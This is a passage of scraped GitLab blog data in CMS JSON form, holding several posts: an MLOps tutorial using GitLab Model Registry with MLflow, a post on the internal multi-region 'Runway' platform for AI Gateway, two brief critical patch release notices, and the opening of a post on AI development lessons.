steps\nManaging application architecture drift is an ongoing challenge that requires a strategic approach to organizational alignment. By leveraging the FINE Analysis of the Value Stream Reference Architecture and understanding the different phases of an application's lifecycle, you can make informed decisions about team topologies and ensure your organization remains agile and efficient. Whether you choose to simplify application architecture or adjust your team structure, the key is to maintain a balance that supports both current needs and future growth.\n\n> [Learn how to manage application value streams](https://about.gitlab.com/solutions/value-stream-management/) with the GitLab DevSecOps platform.\n",[943,2248],{"slug":4540,"featured":92,"template":678},"navigate-application-architecture-drift-and-organizational-alignment","content:en-us:blog:navigate-application-architecture-drift-and-organizational-alignment.yml","Navigate Application Architecture Drift And Organizational Alignment","en-us/blog/navigate-application-architecture-drift-and-organizational-alignment.yml","en-us/blog/navigate-application-architecture-drift-and-organizational-alignment",{"_path":4546,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4547,"content":4552,"config":4559,"_id":4561,"_type":16,"title":4562,"_source":17,"_file":4563,"_stem":4564,"_extension":20},"/en-us/blog/build-an-ml-app-pipeline-with-gitlab-model-registry-using-mlflow",{"title":4548,"description":4549,"ogTitle":4548,"ogDescription":4549,"noIndex":6,"ogImage":3276,"ogUrl":4550,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4550,"schema":4551},"Build an ML app pipeline with GitLab Model Registry using MLflow","Learn how to manage your ML apps entirely through GitLab with this tutorial. Also discover the role machine learning operations, or MLOps, plays in automating the DevSecOps lifecycle.","https://about.gitlab.com/blog/build-an-ml-app-pipeline-with-gitlab-model-registry-using-mlflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Build an ML app pipeline with GitLab Model Registry using MLflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gufran Yeşilyurt, OBSS\"},{\"@type\":\"Person\",\"name\":\"Péter Bozsó\"}],\n        \"datePublished\": \"2024-09-17\",\n      }",{"title":4548,"description":4549,"authors":4553,"heroImage":3276,"date":4556,"body":4557,"category":791,"tags":4558},[4554,4555],"Gufran Yeşilyurt, OBSS","Péter Bozsó","2024-09-17","__*Editor's note: From time to time, we invite members of our partner community to contribute to the GitLab Blog. Thanks to Gufran Yeşilyurt, a DevOps consultant at OBSS Technology, for co-creating with us.*__\n\nThis tutorial will walk you through setting up an MLOps pipeline with GitLab Model Registry, utilizing MLflow. This will be a great starting point to manage your ML apps entirely through GitLab. But first, it is crucial to understand why we need MLOps and what GitLab offers.\n\n[MLOps](https://about.gitlab.com/direction/modelops/mlops/#overview), or machine learning operations, is a critical practice for managing and automating the lifecycle of machine learning models, from development to deployment and maintenance. Its importance lies in addressing the complexity and dynamism of machine learning workflows, which involve not just software development but also data management, model training, testing, deployment, and continuous monitoring.\n\nMLOps ensures that models are reproducible, scalable, and maintainable, facilitating collaboration between data scientists, machine learning engineers, and operations teams. By incorporating MLOps, organizations can streamline the deployment process, reduce time to market, and improve the reliability and performance of their machine learning applications.\n\nThe necessity of MLOps arises from the unique challenges posed by machine learning projects. Unlike traditional software development, machine learning involves handling large datasets, experimenting with various models, and continuously updating models based on new data and feedback.\n\nWithout proper operations, managing these aspects becomes cumbersome, leading to potential issues like model drift, where the model's performance degrades over time due to changes in the underlying data. MLOps provides a structured approach to monitor and manage these changes, ensuring that models remain accurate and effective. Moreover, it introduces automation in various stages, such as data preprocessing, model training, and deployment, thereby reducing manual errors and enhancing efficiency.\n\nGitLab's features play a pivotal role in implementing MLOps effectively. GitLab provides an integrated platform that combines source code management, [CI/CD pipelines](https://about.gitlab.com/topics/ci-cd/), tracking and collaboration tools, making it ideal for managing machine learning projects.\n\nWith GitLab, teams can leverage version control to track changes in both code and data, ensuring reproducibility and transparency. The CI/CD pipelines in GitLab automate the testing and deployment of machine learning models, allowing for continuous integration and continuous delivery. This automation not only speeds up the deployment process but also ensures consistency and reliability in the models being deployed. \n\nAdditionally, GitLab's collaboration features, such as merge requests and code reviews, facilitate better communication and coordination among team members, ensuring that everyone is aligned and any issues are promptly addressed.\n\nPrerequisites:\n- basic knowledge of GitLab pipelines\n- basic knowledge of MLflow\n- a Kubernetes cluster\n- Dockerfile\n\nThis tutorial includes instructions to:\n- [Set up environment variables of MLflow](#set-up-environment-variables-of-mlflow)\n- [Train and log candidates at merge request](#train-and-log-candidates-at-merge-request)\n- [Register the most successful candidate](#register-the-most-successful-candidate)\n- [Dockerize and deploy an ML app with the registered model](#dockerize-and-deploy-an-ml-app-with-the-registered-model)\n\nIn this example, to decide whether to provide the user a loan, we make use of Random Forest Classifier, Decision Tree, and Logistic Regression. At the end of this showcase, we will have a web application that utilizes machine learning to respond to the user.\n\nTo reproduce this example in your own GitLab environment, you can read the rest of this article or follow the video below. You can find the source code of this example in [these OBSS repositories](https://gitlab.com/gitlab-partners-public/obss).\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/grNJAp1xAi0?si=Bf9CAP9lB1uWErOZ\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Set up environment variables of MLflow\n\nOn the host where the code is executed, set the environment variables for tracking URI and token. This might be a remote host, CI pipeline, or your local environment. When they are set, you can call `mlflow.set_experiment(\"\u003Cexperiment_name>\")`. As a reference:\n\n```\nexport MLFLOW_TRACKING_URI=\"\u003Cyour gitlab endpoint>/api/v4/projects/\u003Cyour project id>/ml/mlflow\"\nexport MLFLOW_TRACKING_TOKEN=\"\u003Cyour_access_token>\"\n```\n\n**Note:** If the training code contains the call to `mlflow.set_tracking_uri()`, remove it.\n\n## Train and log candidates at merge request\n\nIn your model train code, you can use MLflow methods to log metrics, artifacts, and parameters. You can also divide the train steps into pipeline stages if you are comfortable with that part. In this example, one Python file will be used for both training and report generation.\n\n```\nmlflow.log_params(params)\nmlflow.log_metrics(metrics_data)\nmlflow.log_artifact(artifacts)\n```\n\nYou can then create the necessary pipeline to train the experiment. By adding the relevant rules, you can trigger this pipeline manually in merge requests and observe the report generated as MR Note.\n\nWhen the pipeline is finished, you can see the details about the candidate in **Analyze > Model Experiments**.\n\n![details about the candidate in the finished pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676127/Blog/Content%20Images/Screenshot_1.png)\n\n## Register the most successful candidate\n\nAccording to the measurements you have made, we can register the most successful candidate (may be the one with the highest accuracy value) with the Run ID of the candidate.\n\nBut first, we need to create a model and its version in Registry. I created these steps in separate stages and components (because I may need these steps in other projects). You should be careful to use semantic versioning when versioning.\n\n### Register source model parameters and metrics\n\n```\nsource_candidate = client.get_run(source_candidate_id)\nparams = { k: v for k, v in source_candidate.data.params.items() }\nmetric = { k: v for k, v in source_candidate.data.metrics.items() }\n\nmodel_version = client.get_model_version(model_name, version)\nrun_id = model_version.run_id\nmodel_class = \"\"\nfor name, value in params.items():\n    client.log_param(run_id, name, value)\n    if name == \"Class\":\n        model_class = value\n\nfor name, value in metric.items():\n    client.log_metric(run_id, name, value)\n\n```\n\nAfter logging the parameters and metrics, you can [register the artifacts](https://gitlab.com/gitlab-partners-public/obss/mlops-loan-prediction/-/blob/main/register_candidate.py) as you did in the train step.\n\nYou may want to manually enter the inputs of the relevant steps as [a variable in the pipeline](https://gitlab.com/gitlab-partners-public/obss/components/-/blob/main/templates/register-candidate.yml).\n\n## CI/CD components\n\nI have used [CI/CD components](https://docs.gitlab.com/ee/ci/components/) because they provide a structured environment for managing machine learning workflows. These components enable reusability by allowing teams to store and share standardized scripts, models, and datasets, ensuring that previous work can be easily accessed, modified, and redeployed in future projects, thus accelerating development and reducing redundancy.\n\n> [Learn more about CI/CD components and the CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/).\n\n## Dockerize and deploy an ML app with the registered model\n\nIn this project, while registering the model, I also register the pkl file as an artifact and then create the docker image with that artifact and send it to [GitLab Container Registry](https://about.gitlab.com/blog/next-generation-gitlab-container-registry-goes-ga/).\n\nYou can now access your Docker image from the Container Registry and deploy it to your environment with the method you want.\n\n## Resources\n- [Model experiments](https://docs.gitlab.com/ee/user/project/ml/experiment_tracking/)\n- [MLflow client compatibility](https://docs.gitlab.com/ee/user/project/ml/experiment_tracking/mlflow_client.html)\n- [CI/CD components](https://docs.gitlab.com/ee/ci/components/)\n- [Building GitLab with GitLab: Why there is no MLOps without DevSecOps](https://about.gitlab.com/blog/there-is-no-mlops-without-devsecops/)\n\n***Credits:**\nThis tutorial and the corresponding sample projects were created and generously shared with the community by [OBSS](https://obss.tech/en/). OBSS is an EMEA-based channel partner of GitLab. They have deep expertise across the whole DevSecOps lifecycle and amongst many other things, they are more than happy to support customers with migrating their MLOps workloads to GitLab.*\n",[790,696,110,282],{"slug":4560,"featured":92,"template":678},"build-an-ml-app-pipeline-with-gitlab-model-registry-using-mlflow","content:en-us:blog:build-an-ml-app-pipeline-with-gitlab-model-registry-using-mlflow.yml","Build An Ml App Pipeline With Gitlab Model Registry Using Mlflow","en-us/blog/build-an-ml-app-pipeline-with-gitlab-model-registry-using-mlflow.yml","en-us/blog/build-an-ml-app-pipeline-with-gitlab-model-registry-using-mlflow",{"_path":4566,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4567,"content":4573,"config":4577,"_id":4580,"_type":16,"title":4581,"_source":17,"_file":4582,"_stem":4583,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10",{"title":4568,"description":4569,"ogTitle":4568,"ogDescription":4569,"config":4570,"ogImage":3431,"ogUrl":4571,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4571,"schema":4572},"GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10","Learn more about GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2024-09-17\",\n      }",{"title":4568,"description":4569,"authors":4574,"heroImage":3431,"date":4556,"body":4575,"category":674,"tags":4576},[1014],"This is the post for [GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10](https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/).",[1464],{"slug":4578,"featured":6,"template":678,"externalUrl":4579},"gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10","https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/","content:en-us:blog:gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10.yml","Gitlab Critical Patch Release 17 3 3 17 2 7 17 1 8 17 0 8 16 11 10","en-us/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10.yml","en-us/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10",{"_path":4585,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4586,"content":4592,"config":4598,"_id":4600,"_type":16,"title":4601,"_source":17,"_file":4602,"_stem":4603,"_extension":20},"/en-us/blog/building-gitlab-with-gitlab-a-multi-region-service-to-deliver-ai-features",{"title":4587,"description":4588,"ogTitle":4587,"ogDescription":4588,"noIndex":6,"ogImage":4589,"ogUrl":4590,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4590,"schema":4591},"Building GitLab with GitLab: A multi-region service to deliver AI features","Discover how we built our first multi-region deployment for teams at GitLab using the platform's many features, helping create a frictionless developer experience for GitLab Duo users.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098664/Blog/Hero%20Images/Blog/Hero%20Images/building-gitlab-with-gitlab-no-type_building-gitlab-with-gitlab-no-type.png_1750098663794.png","https://about.gitlab.com/blog/building-gitlab-with-gitlab-a-multi-region-service-to-deliver-ai-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building GitLab with GitLab: A multi-region service to deliver AI features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chance Feick\"},{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2024-09-12\",\n      }",{"title":4587,"description":4588,"authors":4593,"heroImage":4589,"date":4595,"body":4596,"category":734,"tags":4597},[4594,1720],"Chance Feick","2024-09-12","For GitLab Duo, real-time AI-powered capabilities like [Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/) need low-latency response times for a frictionless developer experience. Users don’t want to interrupt their flow and wait for a code suggestion to show up. To ensure GitLab Duo can provide the right suggestion at the right time and meet high performance standards for critical AI infrastructure, GitLab recently launched our first multi-region service to deliver AI features.\n\nIn this article, we will cover the benefits of multi-region services, how we built an internal platform codenamed ‘Runway’ for provisioning and deploying multi-region services using GitLab features, and the lessons learned migrating to multi-region in production.\n\n## Background on the project\n\nRunway is GitLab’s internal platform as a service (PaaS) for provisioning, deploying, and operating containerized services. Runway's purpose is to enable GitLab service owners to self-serve infrastructure needs with production readiness out of the box, so application developers can focus on providing value to customers. As part of [our corporate value of dogfooding](https://handbook.gitlab.com/handbook/values/#results), the first iteration was built in 2023 by the Infrastructure department on top of core GitLab capabilities, such as continuous integration/continuous delivery ([CI/CD](https://about.gitlab.com/topics/ci-cd/)), environments, and deployments.\n\nBy establishing automated GitOps best practices, Runway services use infrastructure as code (IaC), merge requests (MRs), and CI/CD by default.\n\nGitLab Duo is primarily powered by [AI Gateway](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist), a satellite service written in Python outside of GitLab’s modular monolith written in Ruby. In cloud computing, a region is a geographical location of data centers operated by cloud providers.\n\n## Defining a multi-region strategy\n\nDeploying in a single region is a good starting point for most services, but can come with downsides when you are trying to reach a global audience. Users who are geographically far from where your service is deployed may experience different levels of service and responsiveness than those who are closer. This can lead to a poor user experience, even if your service is well built in all other respects.\n\nFor AI Gateway, it was important to meet global customers wherever they are located, whether on GitLab.com or self-managed instances using Cloud Connector. When a developer is deciding to accept or reject a code suggestion, milliseconds matter and can define the user experience.\n\n### Goals\n\nMulti-region deployments require more infrastructure complexity, but for use cases where latency is a core component of the user experience, the benefits often outweigh the downsides. First, multi-region deployments offer increased responsiveness to the user. By serving requests from locations closest to end users, latency can be significantly reduced. Second, multi-region deployments provide greater availability. With fault tolerance, services can fail over during a regional outage. There is a much lower chance of a service failing completely, meaning users should not be interrupted even in partial failures.\n\nBased on our goals for performance and availability, we used this opportunity to create a scalable multi-region strategy in Runway, which is built leveraging GitLab features.\n\n### Architecture\n\nIn SaaS platforms, GitLab.com’s infrastructure is hosted on Google Cloud Platform (GCP). As a result, Runway’s first supported platform runtime is Cloud Run. The initial workloads deployed on Runway are stateless satellite services (e.g., AI Gateway), so Cloud Run services are a good fit that provide a clear migration path to more complex and flexible platform runtimes, e.g. Kubernetes.\n\nBuilding Runway on top of GCP Cloud Run using GitLab has allowed us to iterate and tease out the right level of abstractions for service owners as part of a platform play in the Infrastructure department.\n\nTo serve traffic from multiple regions in Cloud Run, the multi-region deployment strategy must support global load balancing, and the provisioning and configuration of regional resources. Here’s a simplified diagram of the proposed architecture in GCP:\n\n![simplified diagram of the proposed architecture in GCP](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098671/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098671612.png)\n\nBy replicating Cloud Run services across multiple regions and configuring the existing global load balancing with serverless network endpoint group (NEG) backends, we’re able to serve traffic from multiple regions. For the remainder of the article, we’ll focus less on specifics of Cloud Run and more on how we’re building with GitLab.\n\n## Building a multi-region platform with GitLab\n\nNow that you have context about Runway, let's walk through how to build a multi-region platform using GitLab features.\n\n### Provision\n\nWhen building an internal platform, the first challenge is provisioning infrastructure for a service. In Runway, Provisioner is the component that is responsible for maintaining a service inventory and managing IaC for GCP resources using Terraform.\n\nTo provision a service, an application developer will open an MR to add a service project to the inventory using git, and Provisioner will create required resources, such as service accounts and identity and access management policies. When building this functionality with GitLab, Runway leverages [OpenID Connect (OIDC) with GPC Workload Identity Federation](https://docs.gitlab.com/ee/ci/cloud\\_services/google\\_cloud/) for managing IaC.\n\nAdditionally, Provisioner will create a deployment project for each service project. The purpose of creating separate projects for deployments is to ensure the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) by authenticating as a GCP service account with restricted permissions. Runway leverages the [Projects API](https://docs.gitlab.com/ee/api/projects.html) for creating projects with [Terraform provider](https://registry.terraform.io/providers/gitlabhq/gitlab/latest/docs).\n\nFinally, Provisioner defines variables in the deployment project for the service account, so that deployment CI jobs can authenticate to GCP. Runway leverages [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) and [Job Token allowlist](https://docs.gitlab.com/ee/ci/jobs/ci\\_job\\_token.html\\#add-a-group-or-project-to-the-job-token-allowlist) to handle authentication and authorization.\n\nHere’s a simplified example of provisioning a multi-region service in the service inventory:\n\n```\n{\n  \"inventory\": [\n    {\n      \"name\": \"example-service\",\n      \"project_id\": 46267196,\n      \"regions\": [\n        \"europe-west1\",\n        \"us-east1\",\n        \"us-west1\"\n      ]\n    }\n  ]\n}\n```\n\nOnce provisioned, a deployment project and necessary infrastructure will be created for a service.\n\n### Configure\n\nAfter a service is provisioned, the next challenge is the configuration for a service. In Runway, [Reconciler](https://gitlab.com/gitlab-com/gl-infra/platform/runway/runwayctl) is a component that is responsible for configuring and deploying services by aligning the actual state with the desired state using Golang and Terraform.\n\nHere’s a simplified example of an application developer configuring GitLab CI/CD in their service project:\n\n```\n# .gitlab-ci.yml\nstages:\n  - validate\n  - runway_staging\n  - runway_production\n\ninclude:\n  - project: 'gitlab-com/gl-infra/platform/runway/runwayctl'\n    file: 'ci-tasks/service-project/runway.yml'\n    inputs:\n      runway_service_id: example-service\n      image: \"$CI_REGISTRY_IMAGE/${CI_PROJECT_NAME}:${CI_COMMIT_SHORT_SHA}\"\n      runway_version: v3.22.0\n\n# omitted for brevity\n```\n\nRunway provides sane default values for configuration that are based on our experience in delivering stable and reliable features to customers. Additionally, service owners can configure infrastructure using a service manifest file hosted in a service project. The service manifest uses JSON Schema for validation. When building this functionality with GitLab, Runway leverages [Pages](https://docs.gitlab.com/ee/user/project/pages/) for schema documentation.\n\nTo deliver this part of the platform, Runway leverages [CI/CD templates](https://docs.gitlab.com/ee/development/cicd/templates.html), [Releases](https://docs.gitlab.com/ee/user/project/releases/), and [Container Registry](https://docs.gitlab.com/ee/user/packages/container\\_registry/) for integrating with service projects.\n\nHere’s a simplified example of a service manifest:\n\n```\n# .runway/runway-production.yml\napiVersion: runway/v1\nkind: RunwayService\nspec:\n container_port: 8181\n regions:\n   - us-east1\n   - us-west1\n   - europe-west1\n\n# omitted for brevity\n```\n\nFor multi-region services, Runway injects an environment variable into the container instance runtime, e.g. RUNWAY\\_REGION, so application developers have the context to make any downstream dependencies regionally-aware, e.g. Vertex AI API.\n\nOnce configured, a service project will be integrated with a deployment project.\n\n### Deploy\n\nAfter a service project is configured, the next challenge is deploying a service. In Runway, Reconciler handles this by triggering a deployment job in the deployment project when an MR is merged to the main branch. When building this functionality with GitLab, Runway leverages [Trigger Pipelines](https://docs.gitlab.com/ee/ci/triggers/) and [Multi-Project Pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream\\_pipelines.html\\#multi-project-pipelines) to trigger jobs from service project to deployment project.\n\n![trigger jobs from service project to deployment project](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098672/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098671612.png)\n\nOnce a pipeline is running in a deployment project, it will be deployed to an environment. By default, Runway will provision staging and production environments for all services. At this point, Reconciler will apply any Terraform resource changes for infrastructure. When building this functionality with GitLab, Runway leverages [Environments/Deployments](https://docs.gitlab.com/ee/ci/environments/) and [GitLab-managed Terraform state](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform\\_state.html) for each service.\n\n![Reconciler applies any Terraform resource changes for infrastructure](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098672/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098671614.png)\n\nRunway provides default application metrics for services. Additionally, custom metrics can be used by enabling a sidecar container with OpenTelemetry Collector configured to scrape Prometheus and remote write to Mimir. By providing observability out of the box, Runway is able to bake monitoring into CI/CD pipelines.\n\nExample scenarios include gradual rollouts for blue/green deployments, preventing promotions to production when staging is broken, or automatically rolling back to previous revision when elevated error rates occur in production.\n\n![Runway bakes monitoring into CI/CD pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098672/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098671615.png)\n\nOnce deployed, environments will serve the latest revision of a service. At this point, you should have a good understanding of some of the challenges that will be encountered, and how to solve them with GitLab features.\n\n## Migrating to multi-region in production\n\nAfter extending Runway components to support multi-region in Cloud Run, the final challenge was migrating from AI Gateway’s single-region deployment in production with zero downtime. Today, teams using Runway to deploy their services can self-serve on regions making a multi-region deployment just as simple as a single-region deployment. \n\nWe were able to iterate on building multi-region functionality without impacting existing infrastructure by using semantic versioning for Runway. Next, we’ll share some learnings from the migration that may inform how to operate services for an internal multi-region platform.\n\n### Dry run deployments\n\nIn Runway, Reconciler will apply Terraform changes in CI/CD. The trade-off is that plans cannot be verified in advance, which could risk inadvertently destroying or misconfiguring production infrastructure. To solve this problem, Runway will perform a “dry run” deployment for MRs.\n\n![\"Dry run\" deployment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098672/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098671616.png)\n\nFor migrating AI Gateway, dry run deployments increased confidence and helped mitigate risk of downtime during rollout. When building an internal platform with GitLab, we recommend supporting dry run deployments from the start.\n\n### Regional observability\n\nIn Runway, existing observability was aggregated by assuming a single-region deployment. To solve this problem, Runway observability was retrofitted to include a new region label for Prometheus metrics.\n\nOnce metrics were retrofitted, we were able to introduce service level indicators (SLIs) for both regional Cloud Run services and global load balancing. Here’s an example dashboard screenshot for a general Runway service:\n\n![dashboard screenshot for a general Runway service](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098672/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098671617.png)\n\n***Note:** Data is not actual production data and is only for illustration purposes.*\n\nAdditionally, we were able to update our service level objectives (SLOs) to support regions. As a result, service owners could be alerted when a specific region experiences an elevated error rate, or increase in response times.\n\n![screenshot of alerts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098672/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098671617.png)\n\n***Note:** Data is not actual production data and is only for illustration purposes.*\n\nFor migrating AI Gateway, regional observability increased confidence and helped provide more visibility into new infrastructure. When building an internal platform with GitLab, we recommend supporting regional observability from the start.\n\n### Self-service regions\n\nThe Infrastructure department successfully performed the initial migration of multi-region support for AI Gateway in production with zero downtime. Given the risk associated with rolling out a large infrastructure migration, it was important to ensure the service continued working as expected.\n\nShortly afterwards, service owners began self-serving additional regions to meet the growth of customers. At the time of writing, [GitLab Duo](https://about.gitlab.com/gitlab-duo/) is available in six regions around the globe and counting. Service owners are able to configure the desired regions, and Runway will provide guardrails along the way in a scalable solution.\n\nAdditionally, three other internal services have already started using multi-region functionality on Runway. Application developers have entirely self-served functionality, which validates that we’ve provided a good platform experience for service owners. For a platform play, a scalable solution like Runway is considered a good outcome since the Infrastructure department is no longer a blocker.\n\n## What’s next for Runway\n\nBased on how quickly we could iterate to provide results for customers, the SaaS Platforms department has continued to invest in Runway. We’ve grown the Runway team with additional contributors, started evolving the platform runtime (e.g. Google Kubernetes Engine), and continue dogfooding with tighter integration in the product.\n\nIf you’re interested in learning more, feel free to check out [https://gitlab.com/gitlab-com/gl-infra/platform/runway](https://gitlab.com/gitlab-com/gl-infra/platform/runway).\n\n## More Building GitLab with GitLab\n- [Why there is no MLOps without DevSecOps](https://about.gitlab.com/blog/there-is-no-mlops-without-devsecops/)\n- [Stress-testing Product Analytics](https://about.gitlab.com/blog/building-gitlab-with-gitlab-stress-testing-product-analytics/)\n- [Web API Fuzz Testing](https://about.gitlab.com/blog/building-gitlab-with-gitlab-api-fuzzing-workflow/)\n- [How GitLab.com inspired Dedicated](https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated/)\n- [Expanding our security certification portfolio](https://about.gitlab.com/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio/)\n",[110,1385,1384,676,696,1268,923,1067,943,790],{"slug":4599,"featured":92,"template":678},"building-gitlab-with-gitlab-a-multi-region-service-to-deliver-ai-features","content:en-us:blog:building-gitlab-with-gitlab-a-multi-region-service-to-deliver-ai-features.yml","Building Gitlab With Gitlab A Multi Region Service To Deliver Ai Features","en-us/blog/building-gitlab-with-gitlab-a-multi-region-service-to-deliver-ai-features.yml","en-us/blog/building-gitlab-with-gitlab-a-multi-region-service-to-deliver-ai-features",{"_path":4605,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4606,"content":4612,"config":4616,"_id":4619,"_type":16,"title":4620,"_source":17,"_file":4621,"_stem":4622,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7",{"title":4607,"description":4608,"ogTitle":4607,"ogDescription":4608,"config":4609,"ogImage":3431,"ogUrl":4610,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4610,"schema":4611},"GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7","Learn more about GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-09-12\",\n      }",{"title":4607,"description":4608,"authors":4613,"heroImage":3431,"date":4595,"body":4614,"category":674,"tags":4615},[2890],"This is the post for [GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7](https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/).\n",[1464,674],{"slug":4617,"featured":6,"template":678,"externalUrl":4618},"gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7","https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/","content:en-us:blog:gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7.yml","Gitlab Critical Patch Release 17 3 2 17 2 5 17 1 7","en-us/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7.yml","en-us/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7",{"_path":4624,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4625,"content":4631,"config":4637,"_id":4639,"_type":16,"title":4640,"_source":17,"_file":4641,"_stem":4642,"_extension":20},"/en-us/blog/navigating-the-ai-frontier-lessons-from-the-cutting-edge",{"title":4626,"description":4627,"ogTitle":4626,"ogDescription":4627,"noIndex":6,"ogImage":4628,"ogUrl":4629,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4629,"schema":4630},"Navigating the AI frontier: Lessons from the cutting edge","Discover key insights on AI development, from rapid prototyping to production, evaluation frameworks, and emerging industry trends.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098682/Blog/Hero%20Images/Blog/Hero%20Images/duo-blog-post_1Cy89R1pY8OMwyrgSB525O_1750098682075.png","https://about.gitlab.com/blog/navigating-the-ai-frontier-lessons-from-the-cutting-edge","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Navigating the AI frontier: Lessons from the cutting edge\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michelle Gill\"},{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-09-10\",\n      }",{"title":4626,"description":4627,"authors":4632,"heroImage":4628,"date":4634,"body":4635,"category":791,"tags":4636},[4633,2680],"Michelle Gill","2024-09-10","As AI continues to evolve at a breakneck pace, developers and organizations are grappling with how to effectively integrate it into their workflows and products. At GitLab, we're always looking to stay at the forefront of these developments to better serve our community. Recently, our team attended the [AI Engineer World's Fair](https://www.ai.engineer/worldsfair), which provided valuable insights into the current state of [AI development](https://about.gitlab.com/gitlab-duo/). Here's what we learned.\n\n## Insights on AI development\n\n### The traditional development lifecycle is gone\n\nThe advent of AI has dramatically altered the traditional software development lifecycle. While AI prototypes can be created in minutes, advancing them to production takes significantly longer than before. This shift requires a rethink of our development approach, including:\n\n- streamlining processes where possible\n- adding new steps to accommodate AI-specific requirements\n- embracing rapid iteration and rewriting over multiple cycles\n\n### Speed is key\n\nIn the fast-paced world of AI, speed of iteration is crucial. Some key takeaways:\n\n- If productization takes more than three months, the product may be outdated by the time it's ready.\n- Aim to try more things faster than competitors.\n- Reduce iteration time and accelerate collaboration.\n- Implement systems that de-risk getting things wrong and allow for fearless changes.\n\n### AI development requires new, practical methods\n\nAI demands new ways of approaching development, including the following:\n\n1. Prioritize user experience early\n- Frontload user testing and prepare for evaluations early in the design phase.\n- Validate product needs 